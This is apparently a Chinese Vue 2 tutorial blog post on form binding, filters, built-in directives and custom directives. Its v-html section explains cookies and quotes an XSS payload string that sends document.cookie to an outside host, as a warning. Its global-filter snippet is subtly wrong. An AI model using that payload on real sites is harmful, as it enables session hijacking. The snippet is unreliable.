Vue2 —— 学习(四)

一、收集表单数据

(一)介绍

前面其实已经 学过了 v-model 双向绑定事件,能获取到表单中的内容到 vm 实例对象中

但是前面只是收集文本框,下面学习一下 各种类型表单数据收集 (单/多 选,下拉框)

(二)知识案例

下面的案例涵盖各种表单收集各种数据的情况

<body><div id="root"><form @submit.prevent="demo">账号:<input type="text" v-model.trim="userInfo.account"><br><br>密码:<input type="password" v-model="userInfo.password"><br><br>年龄:<input type="number" v-model.number="userInfo.age"><br><br>性别:男<input type="radio" name="sex" v-model="userInfo.sex" value="male">女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>爱好:学习:<input type="checkbox" value="study" v-model="userInfo.hobby">打游戏:<input type="checkbox" value="game" v-model="userInfo.hobby">吃饭:<input type="checkbox" value="eat" v-model="userInfo.hobby"><select v-model="userInfo.city"><option value="">请选择地区</option><option value="beijing">北京</option><option value="shanghai">上海</option><option value="shenzhen">深圳</option><option value="wuhan">武汉</option></select><br><br>其他信息:<textarea v-model.lazy="userInfo.others"></textarea><br><br><input type="checkbox" v-model="userInfo.agree"><a href="http://baidu.com">《用户协议》</a><button>提交</button></form></div><script>new Vue({el: '#root',data: {userInfo: {account: '',password: '',age: '',sex: 'female',hobby: [],city: '',others: '',agree: ''}},methods: {demo() {console.log(JSON.stringify(this.userInfo))}},})</script>
</body>

 (三)具体语法

如果 v-model 收集的是 value 值,用户输入的就是 value 值 

密码:<input type="password" v-model="userInfo.password"><br><br>

 如果 v-model 收集的是单选框中的 value 值,而且还得给标签配置 value 值 ,因为单选框不能像文本框一样输入东西,就得自己配置 value 值

男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>

如果 v-model 收集的是多选框中的数据,如果没配置 input 的 value 属性,收集到的是 checked(布尔值 是否勾选),如果配置了 value 属性 并且 v-model 的初始值是数组,那么收集的值就是value 组成的数组

学习:<input type="checkbox" value="study" v-model="userInfo.hobby">
打游戏:<input type="checkbox" value="game" v-model="userInfo.hobby">
吃饭:<input type="checkbox" value="eat" v-model="userInfo.hobby">
v-model 的三个修饰符

lazy:失去焦点再收集数据,就是不想随时更新数据,等输入完毕再更新

<textarea v-model.lazy="userInfo.others"></textarea><br><br>

number:输入字符串自动转换成数字的形式 ,因为有的数据是数字不能是字符串

年龄:<input type="number" v-model.number="userInfo.age"><br><br>

trim:输入首尾空格过滤,会将文本框中输入的首尾的空格过滤掉不会存到数据中。 

账号:<input type="text" v-model.trim="userInfo.account"><br><br>

存在 Vue 实例中的格式和命名: 

  data: {userInfo: {account: '',password: '',age: '',sex: 'female',hobby: [],city: '',others: '',agree: ''}},

二、过滤器

对要显示的数据进行特定格式化后再显示,前面是原本的内容 | 后面是处理过程,过滤器没改变原本的数据,产生新的过滤后的数据

只能用在 v-ibnd 和 插值语法中 不能用在 v-model 中

一个案例:Data.now() 把时间戳 转化成格式化后的正常的时分秒

(一)计算属性实现

引入一个时间库在 bootcdn 网站中找到适合的时间库 daysjs.min.js

<script type="text/javascript" src="../js/dayjs.min.js"></script>

用计算属性实现 在 git 官网中查看该库的正确用法 ,如下,最后能格式化的显示时间

<body><div id="root"><h2>显示格式化后的时间</h2><h3>现在是:{{fmtTime}}</h3></div><script>new Vue({el: '#root',data: {time:1621561377603},computed: {fmtTime() {return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')}}})</script>
</body>

(二)methods 实现

和用计算属性类似,直接在方法中实现 一样的返回结果即可,也得引用第三方时间库

 methods: {getFmTime(){return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')}},

(三)过滤器 实现

1.局部过滤器

只能用在被写在的 vm 实例的作用范围内的局部过滤器

基本语法

过滤器是对原有数据进行过滤 加工,前面的那个 Time 是原本我们的时间戳,后面使用空格加上一个分隔符或符号 再后面是一个空格 加上一个回调函数 单独写在 filters 对象中

<h3>现在是:{{Time | timeFormater}}</h3>

这个函数有参数,就是原本的时间 Time 下面自然要将 Time 改成 value 

 filters: {timeFormater(value) {return dayjs(value).format('YYYY-MM-DD HH:mm:ss')}}
输出具体格式

如果想只输出年月日,不输出时分秒 就把年月日的模板写在 上面方法的括号里面,看着这个函数只有一个参数,其实有两个参数,一个是 value,另一个才是我们写的模板 

<h3>现在是:{{Time | timeFormater('YYYY-MM-DD')}}</h3>

最后函数内部写法 

 filters: {timeFormater(value, str = 'YYYY-MM-DD HH:mm:ss') {return dayjs(value).format(str)}}
过滤器串联 

过滤器可以串联,前后依次执行,先解析出时间 分出我们想要的部分

<h3>现在是:{{Time | timeFormater('YYYY-MM-DD') | mySlice}}</h3>
mySlice(value) {return value.slice(0,4)}
2.全局过滤器

所有 Vue 实例都能用的过滤器

    Vue.filters('mySlice',function(){return value.slice(0,4)})

三、内置指令

前面内置指令已经学过了很多,回顾一下

(一)v-text

1.作用

向其所在的节点(标签)中插入文本

2.语法

v-text=‘属性名’

    <div v-text="name">你好,</div>
3.特点 

但是 v-text 会替换掉节点中的内容,‘你好,’ 就消失了,{{ }}不会替换,所以最好用插值语法,比较灵活

不支持结构的解析 如果在 name 里写一个标签 '<div></div>' ,会被默认为文本内容,不会解析标签显示出来

(二)v-html

cookie 工作原理

chrome 浏览器中 cookie 流程

浏览器登录 github 输入用户名 密码 提交向 github 发送请求登录 网站

网站检验 账号密码 如果正确 跳转到首页,返回 cookie 值 类似于 json 字符串,是对我们身份的标识

浏览器拿到 cookie 然后存到 浏览器的内存中 单独存放对 github 的 cookie 红色是GitHub 的 绿色是其他网站的

点击查看所有仓库,浏览器带着 github 给我的 cookie 给github 发送请求,github 查看 cookie 确认身份,然后就不需要再登录 才能访问我的仓库了,直接就跳转到我的仓库,然后又返回一个 仓库 的cookie,浏览器拿到 继续存下 在红色的地方(有的网站一上来就把所有 cookie 都给我们了,下面那个过程可能没有返回 cookie)

有了这些 cookie 可以实现 只要用户登录过就7天免登录 因为有 cookie

 不能跨浏览器读取 cookie,在 chrome 登录淘宝第二天再进来 还是登录的状态,但是去火狐还是未登录状态,因为 cookie 存在 chrome 浏览器里

如果能拿到已登录者 的cookie 就能在任何浏览器中 将 cookie 注入,就能实现登录,身份信息很重要

str: '<a href=javascript:href="http://www.baidu.com?"+document.cookie></a>'
1.语法

v-html=‘属性名’

2.作用

向其所在的节点(标签)中插入内容 可解析标签

<body><div id="root"><div v-html="name">你好,</div></div><script>new Vue({el: '#root',data: {name: '<h3>学校</h3>'},})</script>
</body>
 3.特点

v-html 可以识别 html 结构

4.严重注意

在网站动态渲染 任意的HTML 是很危险的,容易导致 XSS 攻击(冒充用户)

只能在可信的内容上使用 v-html 不要用在用户提交的内容上,比如评论区

(三)v-cloak

1.语法

v-cloak 后面没有值

设定一个样式,未加载完毕时 就隐藏内容,完毕时删除 cloak 属性 显示数据

2.作用

js 阻塞 html 代码是按顺序加载的我们在引入外部的 js 时如果速度很慢,比如 5s 后服务器才返回结果,那么 html 就会阻塞在 外部 js 加载那里,

我们可以把 外部 js 引入放在头标签里,先等待加载完毕再显示,

但是如果我们 把 js 放在 body 下面 就会先显示 未解析的模板 {{name}} 等 5s 后才会显示数据 一个人

我们不想让用户看到这个未解析的模板 我们可以用到 v-cloak 和 css 结合就能实现,一旦 Vue 介入解析模板 v-block 就会自动删除

 <style>[cloak]{display: none;}</style>
<div><h2 v-cloak>{{name}}</h2>
</div>

(四)v-once

1.语法

v-once 直接写标签里 后面没有值

别和事件修饰符弄混了

2.作用

动态渲染就是不是写死的数据

被页面初次动态渲染后就被默认为静态内容了,就是 n 初始值为 1 设置一个按钮让 n++ 如果给标签中加入一个 v-once 指令 里面的{{n}} 在首次渲染 n=1 后就不会再变了 点击按钮也不会加一

数据改变不会引起 v-once 所在结构更新

<body><div id="root"><h2>初始化的n值:{{n}}</h2><h2>{{n}}</h2><button @click="n++">点我n+1</button></div><script>new Vue({el: '#root',data: {n:1},})</script>
</body>

(五)v-pre

1.语法

v-pre 直接写标签里 后面没有值

2.作用

跳过所在节点的百衲衣过程

可以利用它跳过没有使用指令语法插值语法的节点,会加快编译

    <h2 v-pre>我就是一段文字</h2>

四、自定义指令

(一)介绍

Vue 的操作指令就是操作原生 dom 的过程进行一次封装

就比如 v-show 就是操作 dom 中的 display 属性来控制 元素显示的

我们就能自己写操作 dom 的逻辑来设置自己的指令

(二)基本语法

得使用一个全新的配置对象 directives 就是指令的意思

 <script>new Vue({el: '#root',data: {n:1},directives:{}})</script>

(二)函数式

1.语法

写成函数的形式 有两个参数

第一个 element 是真实的 dom 元素

第二个 binding 是绑定对象 里面的属性 value 就是 v-big 等号后面绑定的数据 n

directives: {big(element, binding) {element.innerText = binding.value * 10}}

指令和元素成功绑定时会调用 就是最开始的时候

指令所在的模板被重新解析时也会被调用,不是后面的 n 变了就调用 其它元素变了也调用 只要重新解析模板就调用

(三)对象式 

1.语法

写成对象后 里面有固定的方法,不能改变名称 有固定的用处

    directives: {fbind:{}}

bind(){} 当指令和元素成功绑定时 调用

inserted(){} 指令所在元素被插入页面时 调用

update()} 指令所在模板被重新解析时 被调用

2.作用

先指令和元素绑定,然后再元素插入页面

得写成对象式才行,因为函数式有时无法完成某些操作 比如无法打开页面时先获取焦点,因为指令先和元素绑定,但是页面中还没出现 input 标签,所以不会获取焦点

  fbind: {bind(element, binding) {element.value = binding.value},inserted(element, binding) {element.focus()},update(element, binding) {element.value = binding.value}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/804561.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关闭TED报ORA-28365: wallet is not open

关闭钱包报 实际状态是open状态&#xff1a; V$ENCRYPTION_WALLET.STATUS列如果不为CLOSED&#xff0c;重启后也不能是CLOSED&#xff0c;或者清理完成后&#xff0c;再次初始化报“Master Key已存在”错误。 获取UNDO表空间大小 SQL> show parameter undo_tablespace NA…

Elastic:加速生成式人工智能体验

作者&#xff1a;Matt Riley 搜索驱动的人工智能和开发人员工具专为速度和规模而打造。 在大型语言模型&#xff08;LLM&#xff09;和生成式 AI 的每日突破中&#xff0c;开发者站在了这场运动的最前沿&#xff0c;影响着它的方向和可能性。在这篇博客中&#xff0c;我将分享…

第十三篇【传奇开心果系列】Python自动化办公库技术点案例示例:深度解读Python自动化操作PPT

传奇开心果博文系列 系列博文目录Python自动化办公库技术点案例示例系列 博文目录前言一、 Python自动化操作PPT能力介绍二、常用库介绍三、创建新PPT示例代码四、编辑现有PPT示例代码五、批量处理示例代码六、数据驱动生成示例代码七、合并与拆分示例代码八、母版和版式操作示…

词频统计程序

使用Hadoop MapReduce处理文本文件&#xff0c;Mapper负责将文本分割为单词&#xff0c;然后Reducer对每个单词进行计数&#xff0c;最后将结果写入输出文件。 // 定义WordCount公共类 public class WordCount {// 主入口方法&#xff0c;处理命令行参数public static void m…

计算机视觉技术:深度学习在美颜SDK中的应用探索

当下&#xff0c;计算机视觉技术在美颜领域的应用变得越来越重要。接下来&#xff0c;小编将讲解深度学习在美颜SDK中的应用&#xff0c;以及它如何改变我们对美颜技术的认识和期待。 一、美颜技术的发展 虽然美颜技术可以在一定程度上改善图像质量&#xff0c;但往往难以满足…

Vue - 4( 8000 字 Vue 入门级教程)

一&#xff1a; Vue 初阶 1.1 关于不同版本的 Vue Vue.js 有不同版本&#xff0c;如 vue.js 与 vue.runtime.xxx.js&#xff0c;这些版本主要针对不同的使用场景和需求进行了优化&#xff0c;区别主要体现在以下几个方面&#xff1a; 完整版 vs 运行时版&#xff1a; vue.js&…

大厂设计师倾心推荐的在线作图免费网站

在当今数字时代&#xff0c;绘画已经成为各行各业的必备技能。无论你是设计师、学生、创作者还是业余爱好者&#xff0c;免费的在线绘图软件都是发挥创造力和表达想法的理想选择。本文将介绍七款强大免费的在线绘图软件&#xff0c;让你轻松实现自己的创作梦想。你可以在不安装…

中间件漏洞攻防学习总结

前言 面试常问的一些中间件&#xff0c;学习总结一下。以下环境分别使用vulhub和vulfocus复现。 Apache apache 文件上传 (CVE-2017-15715) 描述: Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上&#xff0c;由于其跨…

UE5、CesiumForUnreal实现建筑白模生长动画效果

文章目录 1.实现目标2.实现过程2.1 实现原理2.2 具体代码2.3 应用测试3.参考资料1.实现目标 在上篇文章加载本地建筑轮廓GeoJson数据生成建筑白模的基础上,本文通过材质“顶点偏移”实现建筑白模生长效果,GIF动图如下所示: 2.实现过程 常用的实现建筑生长效果的方式有两种,…

Unity 获取RenderTexture像素颜色值

拿来吧你~ &#x1f9aa;功能介绍&#x1f32d;Demo &#x1f9aa;功能介绍 &#x1f4a1;不通过Texture2D 而是通过ComputerShader 提取到RenderTexture的像素值&#xff0c;效率有提升哦&#xff01; &#x1f4a1;通过扩展方法调用&#xff0c;方便快捷&#xff1a;xxxRT.G…

Pytorch Windows EOFError: Ran out of input when num_workers>0

关于深度学习的一些学习框架,我使用过pytorch,caffe,caffe2,openchatkit,oneflow等,最近我将长达几十万字的报错手册重新进行了整理,制作出一个新的专栏,主要记录这几种常见的开发框架在安装和使用过程中常见的报错,以及我是如何解决掉的,以此来帮助更多的深度学习开…

大语言模型如何工作?

此为观看视频How Large Language Model works的笔记。 GPT&#xff08;Generative Pre-trained Transformer&#xff09;是一个大语言模型&#xff08;LLM&#xff09;&#xff0c;可以生成类似人类的文本。本文阐述&#xff1a; 什么是LLMLLM如何工作LLM的应用场景 什么是…

触控芯片TS223B功能介绍, 适用于小家电、电子玩具、智能物联网等各种触控产品方案。

•应用领域• 适用于小家电、电子玩具、智能物联网等各种触控产品方案。 •功能介绍• 单键电容式触控芯片TS223B具有功耗低、触控灵敏度高、抗干扰能力强等众多优势&#xff0c;输出方式包括直接输出、电平翻转输出&#xff0c;并且输出的初始状态可以配置&#xff0c;能灵活满…

FPGA笔试面试题目记录

1 logic utilization 题目&#xff1a;Rank the following operations from lowest utilization to highest. Assume that all variables are 32-bit integers,that the operations are implemented using LUTs ony and that the synthesiser will produce an optimal digital…

基于YOLOv8的摄像头下铁路工人安全作业检测系统

&#x1f4a1;&#x1f4a1;&#x1f4a1;本文摘要&#xff1a;基于YOLOv8的铁路工人安全作业检测系统&#xff0c;属于小目标检测范畴&#xff0c;并阐述了整个数据制作和训练可视化过程&#xff0c; 博主简介 AI小怪兽&#xff0c;YOLO骨灰级玩家&#xff0c;1&#xff0…

3D模型在线轻量化工具

在计算机图形学领域&#xff0c;3D模型简化工具是一种强大的工具&#xff0c;用于减少模型的面数&#xff0c;以提高模型在渲染和处理过程中的性能。本文将全面介绍为何需要简化模型、简化的方法、常见的简化算法以及一款三维模型优化产品 的使用方法&#xff0c;帮助读者更好地…

IP爆发出蓬勃生命力,泡泡玛特2023营收过亿IP达到10个

“原来我们是基于潮流在事情&#xff0c;后来是基于流行&#xff0c;然后我们现在想去做一个更大的圈&#xff0c;我们想基于快乐。”在2023年9月的一场采访中&#xff0c;泡泡玛特CEO王宁如是说。半年后&#xff0c;泡泡玛特交出了一份还不错的成绩单。近期&#xff0c;泡泡玛…

[StartingPoint][Tier1]Crocodile

Task 1 What Nmap scanning switch employs the use of default scripts during a scan? (哪些 Nmap 扫描开关在扫描期间使用默认脚本&#xff1f;) -sC Task 2 What service version is found to be running on port 21? 发现端口 21 上运行的服务版本是什么&#xff1f…

DEVOPS详解

一、简介 DevOps一词是由英文 Development&#xff08;开发&#xff09;和 Operations&#xff08;运维&#xff09;组合而成&#xff0c;但它所代表的理念和实践要比单独或组合的两个词广阔的多。DevOps 涵盖了开发、测试、安全、协作方式、数据分析、运维等许多方面。传统的开…

w1r3s 靶机学习

w1r3s 靶机学习 0x01 IP C for command kali ip 10.10.10.128victim ip 10.10.10.1290x02 开扫 C sudo nmap -sn 10.10.10.0/24-sn 多一步入侵和轻量级侦察 发送四项请求 -sL 列表扫描&#xff0c;多用于探测可用ip&#xff0c;广播扫描 –send-ip 时间戳请求&#xff0…